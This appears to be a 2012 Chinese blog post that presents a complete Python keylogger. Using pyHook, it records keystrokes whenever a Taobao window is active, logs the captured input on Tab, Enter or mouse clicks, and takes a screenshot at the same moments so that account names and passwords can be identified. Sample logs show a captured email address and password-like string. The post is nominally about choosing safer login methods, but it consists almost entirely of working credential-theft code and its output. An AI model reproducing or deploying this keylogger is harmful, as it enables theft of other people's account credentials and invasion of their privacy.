Python:通过获取淘宝账号和密码的实验，来看登陆方式选择的重要性（二）

dyx1024

浏览: 115027 次
性别:
来自: 西安

最近访客更多访客>>

xwins

东风造极

zhaozr

mxia520

博主相关

博客

微博

相册

留言

关于我

文章分类

全部博客 (241)

社区版块

存档分类

在上一篇文章《Python:通过获取淘宝账号和密码的实验，来看登陆方式选择的重要性》中，通过日志记录了一些可能是用户输入的用户名或密码等信息，但如果用户在网站上输入的是其他信息，我们从中区分出敏感信息还是要花费时间来分析的，刚才想了想，将功能优化了一下。

一、思路：

1、在抓取到用户输入的信息后，除了记录到日志中外，再给当前屏幕截一张图，以日期命名；

2、通过对于图片名与日志中ERROR级别对应的时间点，就可以判断内容是不是敏感信息；

3、之所以采用抓图和日志结合的方法，是因为密码在界面上不会显示出来，图片中看不到，必须结合日志，呵呵。

二、实现：

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import pythoncom
import pyHook
import time
import logging
import logging.config
from PIL import ImageGrab

#日志配置文件名
LOG_FILENAME = 'hook_logging.conf'

#日志语句提示信息
LOG_CONTENT_NAME = 'taobao_input_msg'

def log_init(log_config_filename, logname):
    '''
    Function:日志模块初始化函数
    Input：log_config_filename:日志配置文件名
           lognmae:每条日志前的提示语句
    Output: logger
    author: socrates
    blog:http://blog.csdn.net/dyx1024
    date:2012-02-13
    '''
    logging.config.fileConfig(log_config_filename)
    logger = logging.getLogger(logname)
    return logger

def onMouseEvent(event):
    '''
    Function:处理鼠标左键单击事件，如果当前MSG中存放了信息，
                                 将其写入文件，因为有的用户在输入 完用户名后，不是使用TAB键切换到密码
                                 框,而是通过鼠标切换到密码输入窗口这种情况应该属于大多数网民的习惯，
                                 所以此处要判断是否通过鼠标切换了输入窗口
    Input：even
    Output: Ture
    author: socrates
    blog:http://blog.csdn.net/dyx1024
    date:2012-03-03
    '''
    global MSG
    if len(MSG) != 0:
        hook_logger.info('current page:%s' % event.WindowName)
        hook_logger.error('information:%s' % MSG)
        MSG = '' 
        #屏幕抓图实现
        pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
        pic = ImageGrab.grab()
        pic.save('%s.png' % pic_name)
        #保存成为以日期命名的图片
    return True

def onKeyboardEvent(event): 
    "处理键盘事件"  
    '''
    Function:处理键盘事件，如果当前窗口为TAOBAO页面，刚开始监控并记录用户输入
                                   因为此时用户可能准备输入用户名及密码进行登陆，所以将用户输入的所有可见
                                 的ascii字符记录下来，此处要考虑用户是否使用了TAB键或回车键来
                                结束输入，此时要将信息记录到日志中。
    Input：even
    Output: Ture
    author: socrates
    blog:http://blog.csdn.net/dyx1024
    date:2012-03-03
    '''     
    global MSG
    if event.WindowName.decode('GBK').find(u"淘宝") != -1:
        if (127 >= event.Ascii > 31) or (event.Ascii == 8):
            MSG += chr(event.Ascii)
            hook_logger.info('ascii:%d(%s)' % (event.Ascii, str(event.Key)))        
        if (event.Ascii == 9) or (event.Ascii == 13):
            hook_logger.info('current page:%s' % event.WindowName)
            hook_logger.error('information:%s' % MSG)
            MSG = '' 
            #屏幕抓图实现
            pic_name = time.strftime('%Y%m%d%H%M%S',time.localtime(time.time()))
            pic = ImageGrab.grab()
            #保存成为以日期命名的图片
            pic.save('%s.png' % pic_name)
            
    return True

if __name__ == "__main__": 
    '''
    Function:获取TAOBAO账号及密码，增加抓图功能
    Input：NONE
    Output: NONE
    author: socrates
    blog:http://blog.csdn.net/dyx1024
    date:2012-03-03
    '''  
 
    #打开日志文件
    #初始化日志系统
    hook_logger = log_init(LOG_FILENAME, LOG_CONTENT_NAME) 
    
    MSG = ''

#创建hook句柄
    hm = pyHook.HookManager()

#监控鼠标
    hm.SubscribeMouseLeftDown(onMouseEvent)
    hm.HookMouse()
    
    #监控键盘
    hm.KeyDown = onKeyboardEvent
    hm.HookKeyboard()

#循环获取消息
    pythoncom.PumpMessages()

三、测试：

1、记录下来的日志内容：

[2012-03-03 13:03:52,530  taobao_input_msg]INFO:  ascii:105(I)
[2012-03-03 13:03:53,342  taobao_input_msg]INFO:  ascii:112(P)
[2012-03-03 13:03:53,640  taobao_input_msg]INFO:  ascii:104(H)
[2012-03-03 13:03:54,608  taobao_input_msg]INFO:  ascii:111(O)
[2012-03-03 13:04:01,655  taobao_input_msg]INFO:  ascii:110(N)
[2012-03-03 13:04:01,921  taobao_input_msg]INFO:  ascii:101(E)
[2012-03-03 13:04:03,937  taobao_input_msg]INFO:  ascii:52(4)
[2012-03-03 13:04:04,358  taobao_input_msg]INFO:  ascii:115(S)
[2012-03-03 13:04:08,640  taobao_input_msg]INFO:  current page:淘宝网 - 淘！我喜欢 - Google Chrome
[2012-03-03 13:04:08,640  taobao_input_msg]ERROR:  information:iphone4s
[2012-03-03 13:04:27,187  taobao_input_msg]INFO:  ascii:115(S)
[2012-03-03 13:04:27,655  taobao_input_msg]INFO:  ascii:111(O)
[2012-03-03 13:04:28,217  taobao_input_msg]INFO:  ascii:99(C)
[2012-03-03 13:04:28,921  taobao_input_msg]INFO:  ascii:114(R)
[2012-03-03 13:04:29,155  taobao_input_msg]INFO:  ascii:97(A)
[2012-03-03 13:04:29,733  taobao_input_msg]INFO:  ascii:116(T)
[2012-03-03 13:04:29,983  taobao_input_msg]INFO:  ascii:101(E)
[2012-03-03 13:04:30,280  taobao_input_msg]INFO:  ascii:115(S)
[2012-03-03 13:04:31,828  taobao_input_msg]INFO:  ascii:64(2)
[2012-03-03 13:04:33,515  taobao_input_msg]INFO:  ascii:103(G)
[2012-03-03 13:04:34,187  taobao_input_msg]INFO:  ascii:109(M)
[2012-03-03 13:04:34,265  taobao_input_msg]INFO:  ascii:97(A)
[2012-03-03 13:04:34,421  taobao_input_msg]INFO:  ascii:105(I)
[2012-03-03 13:04:34,592  taobao_input_msg]INFO:  ascii:108(L)
[2012-03-03 13:04:35,030  taobao_input_msg]INFO:  ascii:46(Oem_Period)
[2012-03-03 13:04:35,217  taobao_input_msg]INFO:  ascii:99(C)
[2012-03-03 13:04:35,342  taobao_input_msg]INFO:  ascii:111(O)
[2012-03-03 13:04:35,515  taobao_input_msg]INFO:  ascii:109(M)
[2012-03-03 13:04:37,812  taobao_input_msg]INFO:  current page:None
[2012-03-03 13:04:37,812  taobao_input_msg]ERROR:  information:socrates@gmail.com
[2012-03-03 13:04:43,905  taobao_input_msg]INFO:  ascii:57(9)
[2012-03-03 13:04:44,171  taobao_input_msg]INFO:  ascii:56(8)
[2012-03-03 13:04:44,467  taobao_input_msg]INFO:  ascii:55(7)
[2012-03-03 13:04:44,780  taobao_input_msg]INFO:  ascii:54(6)
[2012-03-03 13:04:45,108  taobao_input_msg]INFO:  ascii:53(5)
[2012-03-03 13:04:45,437  taobao_input_msg]INFO:  ascii:52(4)
[2012-03-03 13:04:45,796  taobao_input_msg]INFO:  ascii:51(3)
[2012-03-03 13:04:46,437  taobao_input_msg]INFO:  ascii:50(2)
[2012-03-03 13:04:47,046  taobao_input_msg]INFO:  ascii:49(1)
[2012-03-03 13:04:52,375  taobao_input_msg]INFO:  ascii:113(Q)
[2012-03-03 13:04:52,765  taobao_input_msg]INFO:  ascii:119(W)
[2012-03-03 13:04:53,030  taobao_input_msg]INFO:  ascii:101(E)
[2012-03-03 13:04:53,328  taobao_input_msg]INFO:  ascii:114(R)
[2012-03-03 13:04:53,687  taobao_input_msg]INFO:  ascii:116(T)
[2012-03-03 13:04:56,640  taobao_input_msg]INFO:  current page:None
[2012-03-03 13:04:56,640  taobao_input_msg]ERROR:  information:987654321qwert
[2012-03-03 13:04:57,703  taobao_input_msg]INFO:  ascii:106(J)
[2012-03-03 13:04:58,155  taobao_input_msg]INFO:  ascii:116(T)
[2012-03-03 13:04:59,125  taobao_input_msg]INFO:  ascii:54(6)
[2012-03-03 13:05:00,328  taobao_input_msg]INFO:  ascii:121(Y)
[2012-03-03 13:05:02,578  taobao_input_msg]INFO:  current page:None
[2012-03-03 13:05:02,578  taobao_input_msg]ERROR:  information:jt6y

2、过滤出ERROR级别日志信息，如下：

3、查看生成的图片：